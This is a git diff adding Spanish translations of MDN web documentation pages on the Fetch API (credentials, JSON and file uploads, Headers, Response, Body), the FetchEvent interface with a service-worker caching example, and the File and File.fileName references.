+<p>Esto es muy útil ya que el cuerpo de las solicitudes y respuestas son de un sólo uso. Haciendo una copia como esta te permite utilizar la petición/respuesta de nuevo, y al mismo tiempo, si lo deseas, modificar las opciones de <code>init</code>. La copia debe estar hecha antes de la lectura del &lt;body&gt;, y leyendo el &lt;body&gt; en la copia, se marcará como leido en la petición original.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Existe también un método {{domxref("Request.clone","clone()")}} que crea una copia. Este tiene una semántica ligeramente distinta al otro método de copia — el primero fallará si el cuerpo de la petición anterior ya ha sido leído (lo mismo para copiar una respuesta), mientras que <code>clone()</code> no.</p>
+</div>
+
+<h3 id="Enviar_una_petición_con_credenciales_incluido">Enviar una petición con credenciales incluido</h3>
+
+<p>Para producir que los navegadores envien una petición con las credenciales incluidas, incluso para una llamada de origen cruzado, añadimos<code> credentials: 'include'</code> en el el objeto <code>init</code> que se pasa al método <code>fetch()</code>.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  credentials<span class="punctuation token">:</span> <span class="string token">'include'</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span></code></pre>
+
+<p>Si solo quieres enviar la credenciales si la URL de la petición está en el mismo origen desde donde se llamada el script, añade <code>credentials: 'same-origin'</code>.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="comment token">// El script fué llamado desde el origen 'https://example.com'</span>
+
+<span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  credentials<span class="punctuation token">:</span> <span class="string token">'same-origin'</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span></code></pre>
+
+<p>Sin embargo para asegurarte que el navegador no incluye las credenciales en la petición, usa <code>credentials: 'omit'</code>.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  credentials<span class="punctuation token">:</span> <span class="string token">'omit'</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span></code></pre>
+
+<h3 id="Enviando_datos_JSON">Enviando datos JSON</h3>
+
+<p>Usa {{domxref("GlobalFetch.fetch","fetch()")}} para enviar una petición POST con datos codificados en JSON .</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> url <span class="operator token">=</span> <span class="string token">'https://example.com/profile'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> data <span class="operator token">=</span> <span class="punctuation token">{</span>username<span class="punctuation token">:</span> <span class="string token">'example'</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="function token">fetch</span><span class="punctuation token">(</span>url<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span> <span class="comment token">// or 'PUT'</span>
+  body<span class="punctuation token">:</span> JSON<span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>data<span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="comment token">// data can be `string` or {object}!</span>
+  headers<span class="punctuation token">:</span><span class="punctuation token">{</span>
+    <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'application/json'</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>res <span class="operator token">=</span><span class="operator token">&gt;</span> res<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="keyword token">catch</span><span class="punctuation token">(</span>error <span class="operator token">=</span><span class="operator token">&gt;</span> console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Error:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>response <span class="operator token">=</span><span class="operator token">&gt;</span> console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Success:'</span><span class="punctuation token">,</span> response<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Enviando_un_archivo">Enviando un archivo</h3>
+
+<p>Los archivos pueden ser subido mediante el HTML de un elemento input <code>&lt;input type="file" /&gt;</code>, {{domxref("FormData.FormData","FormData()")}} y {{domxref("GlobalFetch.fetch","fetch()")}}.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> formData <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> fileField <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"input[type='file']"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'username'</span><span class="punctuation token">,</span> <span class="string token">'abc123'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+formData<span class="punctuation token">.</span><span class="function token">append</span><span class="punctuation token">(</span><span class="string token">'avatar'</span><span class="punctuation token">,</span> fileField<span class="punctuation token">.</span>files<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'https://example.com/profile/avatar'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  method<span class="punctuation token">:</span> <span class="string token">'PUT'</span><span class="punctuation token">,</span>
+  body<span class="punctuation token">:</span> formData
+<span class="punctuation token">}</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>response <span class="operator token">=</span><span class="operator token">&gt;</span> response<span class="punctuation token">.</span><span class="function token">json</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="keyword token">catch</span><span class="punctuation token">(</span>error <span class="operator token">=</span><span class="operator token">&gt;</span> console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span><span class="string token">'Error:'</span><span class="punctuation token">,</span> error<span class="punctuation token">)</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>response <span class="operator token">=</span><span class="operator token">&gt;</span> console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Success:'</span><span class="punctuation token">,</span> response<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Cabeceras">Cabeceras</h2>
+
+<p>La interfaz {{domxref("Headers")}} te permite crear tus propios objetos de headers mediante el constructor {{domxref("Headers.Headers","Headers()")}}. Un objeto headers es un simple multi-mapa de nombres y valores:</p>
+
+<pre class="brush: js notranslate">var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");</pre>
+
+<p>Lo mismo se puede lograr pasando un "array de arrays" o un objeto literal al constructor:</p>
+
+<pre class="brush: js notranslate">myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});</pre>
+
+<p>Los contenidos pueden ser consultados o recuperados:</p>
+
+<pre class="brush: js notranslate">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]</pre>
+
+<p>Algunas de estas operaciones solo serán utiles en  {{domxref("ServiceWorker_API","ServiceWorkers")}}, pero estas disponen de una mejor API  para manipular <code>headers</code>.</p>
+
+<p>Todos los métodosde de <code>headers</code> lanzan un <code>TypeError</code> si un nombre de cabecera no es un nombre de cabecera HTTP válido. Las operaciones de mutación lanzarán un <code>TypeError</code> si hay un guarda inmutable (ver más abajo). Si no, fallan silenciosamente. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("Cannot pretend to be a bank!");
+}</pre>
+
+<p>Un buen caso de uso para <code>headers</code> es comprobar cuando el tipo de contenido es correcto antes de que se procese:</p>
+
+<pre class="brush: js notranslate">fetch(myRequest).then(function(response) {
+  var contentType = response.headers.get("content-type");
+  if(contentType &amp;&amp; contentType.indexOf("application/json") !== -1) {
+    return response.json().then(function(json) {
+      // process your JSON further
+    });
+  } else {
+    console.log("Oops, we haven't got JSON!");
+  }
+});</pre>
+
+<h3 id="Guarda_Guard">Guarda (Guard)</h3>
+
+<p>Desde que las cabeceras pueden ser enviadas  en peticiones y recibidas en respuestas, y tienen limitaciones sobre que información puede y debería ser mutable, los objeto headers tienen una propierdad de guarda. Este no está expuesto a la Web, pero puede afectar a que operaciones de mutación son permitidas sobre el objeto headers.</p>
+
+<p>Los valores posibles de guarda (guard) son:</p>
+
+<ul>
+ <li><code>none</code>: valor por defecto.</li>
+ <li><code>request</code>: Guarda para el objeto headers obtenido de la petición ({{domxref("Request.headers")}}).</li>
+ <li><code>request-no-cors</code>: Guarda para un objeto headers obtenido desde una petición creada con {{domxref("Request.mode")}} a <code>no-cors</code>.</li>
+ <li><code>response</code>: Guarda para una cabecera obetenida desde un respuesta ({{domxref("Response.headers")}}).</li>
+ <li><code>immutable</code>: Mayormente utilizado para ServiceWorkers, produce un objeto headers de solo lectura.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>:  No se debería añadir o establecer una petición a un objeto headers <em>guardado</em> con la cabecera <code>Content-Length</code>. De igual manera, insertar <code>Set-Cookie</code> en la respuesta de la cabecera no esta permitido: ServiceWorkers no estan autorizados a establecer cookies a través de respuestas sintéticas.</p>
+</div>
+
+<h2 id="Objetos_Response">Objetos Response</h2>
+
+<p>Cómo has visto anteriormente, las instancias de {{domxref("Response")}} son devueltas cuando <code>fetch()</code> es resuelto.</p>
+
+<p>Las propiedades de response que usarás son:</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} — Entero (por defecto con valor 200) que contiene el código de estado de las respuesta.</li>
+ <li>{{domxref("Response.statusText")}} — Cadena (con valor por defecto "OK"), el cual corresponde al mensaje del estado de código HTTP.</li>
+ <li>{{domxref("Response.ok")}} — Visto en uso anteriormente, es una clave para comprobar que el estado está dentro del rango 200-299 (ambos incluidos). Este devuelve un valor {{domxref("Boolean")}}, siendo <code>true</code> si lo anterior se cumple y <code>false</code> en otro caso.</li>
+</ul>
+
+<p>Estos pueden también creados programáticamente a través de JavaScript, pero esto solamente es realmete útil en {{domxref("ServiceWorker_API", "ServiceWorkers")}},  cuando pones un objeto response personalizado a una respuesta recibida usando un método {{domxref("FetchEvent.respondWith","respondWith()")}}:</p>
+
+<pre class="brush: js notranslate">var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  event.respondWith(
+    new Response(myBody, {
+      headers: { "Content-Type" : "text/plain" }
+    })
+  );
+});</pre>
+
+<p>El constructor {{domxref("Response.Response","Response()")}} toma dos argurmentos opcionales, un cuerpo para la respuesta y un objeto init (similar al que acepta {{domxref("Request.Request","Request()")}}).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El método estático {{domxref("Response.error","error()")}} simplemente devuelve un error en la respuesta. De igual manera que {{domxref("Response.redirect","redirect()")}} devuelve una respuesta que resulta en un redirección a una URL especificada. Estos son solo relevantes tambien a ServiceWorkers.</p>
+</div>
+
+<h2 id="Body">Body</h2>
+
+<p>Tanto las peticiones como las respuestas pueden contener datos body. Body es una instancia de cualquiera de los siguientes tipos:</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array y amigos)</li>
+ <li>{{domxref("Blob")}}/File</li>
+ <li>string</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>El mixin de {{domxref("Body")}} define los siguientes metodos para extraer un body (implementado por {{domxref("Request")}} and {{domxref("Response")}}). Todas ellas devuelven una promesa que es eventualmente resuelta con el contenido actual.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>Este hace uso de los datos no texttuales mucho mas facil que si fuera con XHR.</p>
+
+<p>Las peticiones body pueden ser establecidas pasando el parametro body:</p>
+
+<pre class="brush: js notranslate">var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+});</pre>
+
+<p>Tanto peticiones y respuestas (y por extensión la function <code>fetch()</code>), intentaran inteligentemente determinar el tipo de contenido. Una petición tambien establecerá automáticamente la propiedad <code>Context-Type</code> de la cabecera si no es ha establecido una.</p>
+
+<h2 id="Detectar_característica">Detectar característica</h2>
+
+<p>Puedes comprobar si el navegador soporta  la API de Fetch comprobando la existencia de {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} o {{domxref("GlobalFetch.fetch","fetch()")}} sobre el ámbito de {{domxref("Window")}} o {{domxref("Worker")}}. Por ejemplo:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">if</span> <span class="punctuation token">(</span>self<span class="punctuation token">.</span>fetch<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// run my fetch request here</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="comment token">// do something with XMLHttpRequest?</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para utilizar <code>fetch()</code> en un explorador no soportado, hay disponible un <a href="https://github.com/github/fetch">Fetch Polyfill</a> que recrea la funcionalidad para navegadores no soportados.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="https://github.com/mdn/fetch-examples/">Fetch examples on Github</a></li>
+</ul>
diff --git a/files/es/web/api/fetchevent/index.html b/files/es/web/api/fetchevent/index.html
new file mode 100644
index 0000000000..c2f8e4d693
--- /dev/null
+++ b/files/es/web/api/fetchevent/index.html
@@ -0,0 +1,176 @@
+---
+title: FetchEvent
+slug: Web/API/FetchEvent
+tags:
+  - API
+  - FetchEvent
+  - Interfaz
+  - Offline
+  - Referencia
+  - Service Workers
+  - Workers
+translation_of: Web/API/FetchEvent
+---
+<p>{{APIRef("Service Workers API")}}{{ SeeCompatTable() }}</p>
+
+<p>Este es el tipo de evento para eventos "<code>fetch</code>" despachados en el {{domxref("ServiceWorkerGlobalScope", "scope global del service worker", "", 1)}}. Contiene información sobre la búsqueda (fetch), incluyendo la petición (request) y cómo el receptor tratará la respuesta (response).</p>
+
+<p>Provee el método {{domxref("FetchEvent.respondWith", "event.respondWith()")}}, el cúal nos permite proporcionar una respuesta a esta búsqueda (fetch).</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("FetchEvent.FetchEvent()", "new FetchEvent()")}}</dt>
+ <dd>Crea un nuevo objecto <code>FetchEvent</code>. Este constructor no se usa normalmente.  El propio navegador crea estos objetos y los proporciona a los callbacks de eventos "<code>fetch</code>".</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Hereda propiedades del ancestro, {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.clientId")}} {{readonlyInline}}</dt>
+ <dd>El {{domxref("Client.id", "id")}} del mismo origen {{domxref("Client", "client")}} que inició el "fetch".</dd>
+ <dt>{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}</dt>
+ <dd>Un {{jsxref("Promise")}} para un {{domxref("Response")}}, o vacío si este no es una navegación, o {{domxref("NavigationPreloadManager", "navigation preload", "", 1)}} no esta habilitado.</dd>
+ <dt>{{domxref("fetchEvent.request")}} {{readonlyInline}}</dt>
+ <dd>La {{domxref("Request")}} que el navegador intenta crear.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Herada métodos del padre, </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.respondWith()")}}</dt>
+ <dd>Evita el manejo de búsqueda predeterminado del navegador y proporciona (una promesa) una respuesta usted mismo.</dd>
+ <dt>{{domxref("extendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Extiende el tiempo de vida del evento. Se usa para notificar al navegador las tareas que van más allá de la devolución de una respuesta, como la transmisión y el almacenamiento en caché.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Este evento fetch, permite al navegador hacer esta acción por defecto para peticiones non-GET. Para peticiones GET  esto intenta retornar una coincidencia en el cache, y  vuelve de nuevo a la red. Si busca una concidencia en el cache, actualiza asincronicamente el cache para la próxima vez.</p>
+
+<pre class="brush: js notranslate">addEventListener('fetch', event =&gt; {
+  // Permite al navegador hacer este asunto por defecto
+  // para peticiones non-GET.
+  if (event.request.method != 'GET') return;
+
+  // Evita el valor predeterminado, y manejar solicitud nosostros mismos.
+  event.respondWith(async function() {
+    // Intenta obtener la respuesta de el cache.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // Si encontramos una coincidencia en el cache, lo devuelve, pero también
+      // actualizar la entrada en el cache en segundo plano.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // Si no encontramos una coincidencia en el cache, usa la red.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatChrome(40)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}[<sup>1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Propiedad preloadResponse</code> </td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatChrome(40)}}</td>
+   <td>{{CompatChrome(40)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Propiedad preloadResponse</code> </td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/es/web/api/file/filename/index.html b/files/es/web/api/file/filename/index.html
new file mode 100644
index 0000000000..2179e85756
--- /dev/null
+++ b/files/es/web/api/file/filename/index.html
@@ -0,0 +1,35 @@
+---
+title: File.fileName
+slug: Web/API/File/fileName
+tags:
+  - API
+  - Archivos
+  - DOM
+  - File API
+  - Propiedad
+  - Referencia
+translation_of: Web/API/File/fileName
+---
+<p>{{APIRef("File API")}}{{non-standard_header}} {{obsolete_header(7.0)}}</p>
+
+<p>Devuelve el nombre del archivo. Por razones de seguridad la ruta es excluída de esta propiedad.</p>
+
+<div class="note">Propiedad deprecada. Utilice {{domxref("File.name")}} en su lugar.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>name</em> = <em>instanceOfFile</em>.fileName;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una cadena</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p>No es parte de una especificación.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("File.name")}}</li>
+</ul>
diff --git a/files/es/web/api/file/index.html b/files/es/web/api/file/index.html
new file mode 100644
index 0000000000..006125622e
--- /dev/null
+++ b/files/es/web/api/file/index.html
@@ -0,0 +1,112 @@
+---
+title: File
+slug: Web/API/File
+tags:
+  - API
+  - File API
+  - Interfaz
+  - Referencia
+  - Web
+translation_of: Web/API/File
+---
+<div>{{APIRef }}</div>
+
+<p>La interfaz <strong><code>File</code></strong> provee información acerca de los archivos y permite que el código JavaScript en una página web tenga acceso a su contenido.</p>
+
+<p>Los objetos <code>File</code> son generalmente recuperados a través de un objeto {{domxref("FileList")}} retornado como resultado de un usuario seleccionado archivos por medio de un elemento {{ HTMLElement("input") }} , desde las operaciones drag y drop de un objeto  {{domxref("DataTransfer")}} ,<span style="line-height: 1.5;"> o desde la API </span><code style="font-size: 14px;">mozGetAsFile()</code><span style="line-height: 1.5;"> en un {{ domxref("HTMLCanvasElement") }}. En Gecko, desde código con privilegios es posible crear objetos <code>File</code> representando cualquier archivo local sin esperar la interacción del usuario </span> (ver {{anch("Implementation notes")}} para más información.)</p>
+
+<p>Un objeto <code>File</code> es una especie específica de {{DOMxRef("Blob")}}, y puede ser utilizada en cualquier contexto que un Blob puede ser usado. En particular, {{DOMxRef("FileReader")}}, {{DOMxRef("URL.createObjectURL()")}}, {{DOMxRef("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, y {{DOMxRef("XMLHttpRequest", "", "send()")}} aceptan tanto <code>Blob</code>s y <code>File</code>s.</p>
+
+<p>Ver <a href="https://wiki.developer.mozilla.org/en-US/docs/Using_files_from_web_applications">Utilizando archivos desde aplicaciones web (Using files from web applications)</a> para más información y ejemplos.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("File.File", "File()")}}</dt>
+ <dd>Retorna un nuevo objeto de tipo <code>File</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{DOMxRef("File.lastModified")}}{{ReadOnlyInline}}</dt>
+ <dd>Retorna el último tiempo que el archivo se modifico, en milisegundos desde la época de UNIX (1 de enero de 1970 a medianoche).</dd>
+ <dt>{{DOMxRef("File.lastModifiedDate")}} {{Deprecated_Inline}}{{ReadOnlyInline}} {{Gecko_MinVersion_Inline("15.0")}}</dt>
+ <dd>Retorna la última fecha (en un objeto {{JSxRef("Date")}}<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>) de modificación del archivo referenciada por el objeto <code>File</code>.</dd>
+ <dt>{{DOMxRef("File.name")}}{{ReadOnlyInline}}</dt>
+ <dd>Retorna el nombre del archivo referenciada por el objeto <code>File</code>.</dd>
+ <dt>{{DOMxRef("File.webkitRelativePath")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Retorna la ruta relativa de la URL del {{DOMxRef("File")}}.</dd>
+ <dd>
+ <p><code>File</code> implementa {{DOMxRef("Blob")}}, así que también cuenta con las siguientes propiedades:</p>
+ </dd>
+ <dt>{{DOMxRef("File.size")}}{{ReadOnlyInline}}</dt>
+ <dd>Retorna el tamaño del archivo en bytes.</dd>
+ <dt>{{DOMxRef("File.type")}}{{ReadOnlyInline}}</dt>
+ <dd>Retorna el tipo <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>del archivo.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>La interfaz <code>File</code> no define algún método, pero los hereda de la interfaz {{domxref("Blob")}}:</em></p>
+
+<dl>
+ <dt>{{DOMxRef("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>Retorna un nuevo objeto <code>Blob</code> conteniendo la información en el rango especificado de bytes de la fuente <code>Blob</code>.</dd>
+ <dt>{{DOMxRef("Blob.stream()")}}</dt>
+ <dd>Transforma el archivo <code>File</code> en un {{DOMxRef("ReadableStream")}} que puede ser usado para leer el contenido de <code>File</code>.</dd>
+ <dt>{{DOMxRef("Blob.text()")}}</dt>
+ <dd>Transforma el archivo <code>File</code> en una corriente (<em>stream</em>) para leerse hasta completarse. Retorna una promesa que se resuelve con un {{DOMxRef("USVString")}} (texto).</dd>
+ <dt>{{DOMxRef("Blob.arrayBuffer()")}}</dt>
+ <dd>Transforma el archivo <code>File</code> en una corriente y leerlo hasta completarse. Devuelve una promesa que resuelve con un {{DOMxRef("ArrayBuffer")}}.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.File")}}</p>
+</div>
+
+<h3 id="Notas_de_Implementación">Notas de Implementación</h3>
+
+<ul>
+ <li>En Gecko, puedes hacer uso de esta API desde código chrome. Vea <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code" title="Using the DOM File API in chrome code">Utilizando la API DOM File en código chrome (Using the DOM File API in chrome code)</a> para más detalles.</li>
+ <li>Empezando desde Gecko 6.0 {{geckoRelease("6.0")}}, código privilegiado (como las extensiones por ejemplo) puede pasar un objeto {{interface("nsIFile")}} al constructor  DOM <code>File</code> para especificar el archivo a referenciar.</li>
+ <li>Empezando desde Gecko 8.0 {{geckoRelease("8.0")}}, usted puede usar <code>new File</code> para la creación de objetos <code>File</code> a partir de código de componentes XPCOM en lugar de tener que instanciar el objeto {{interface("nsIDOMFile")}} directamente. El constructor toma, en contraste a Blob, un segundo argumento como nombre de archivo. El nombre de archivo puede ser cualquier String.
+  <pre class="syntaxbox">File File(
+  Array parts,
+  String filename,
+  BlobPropertyBag properties
+);</pre>
+ </li>
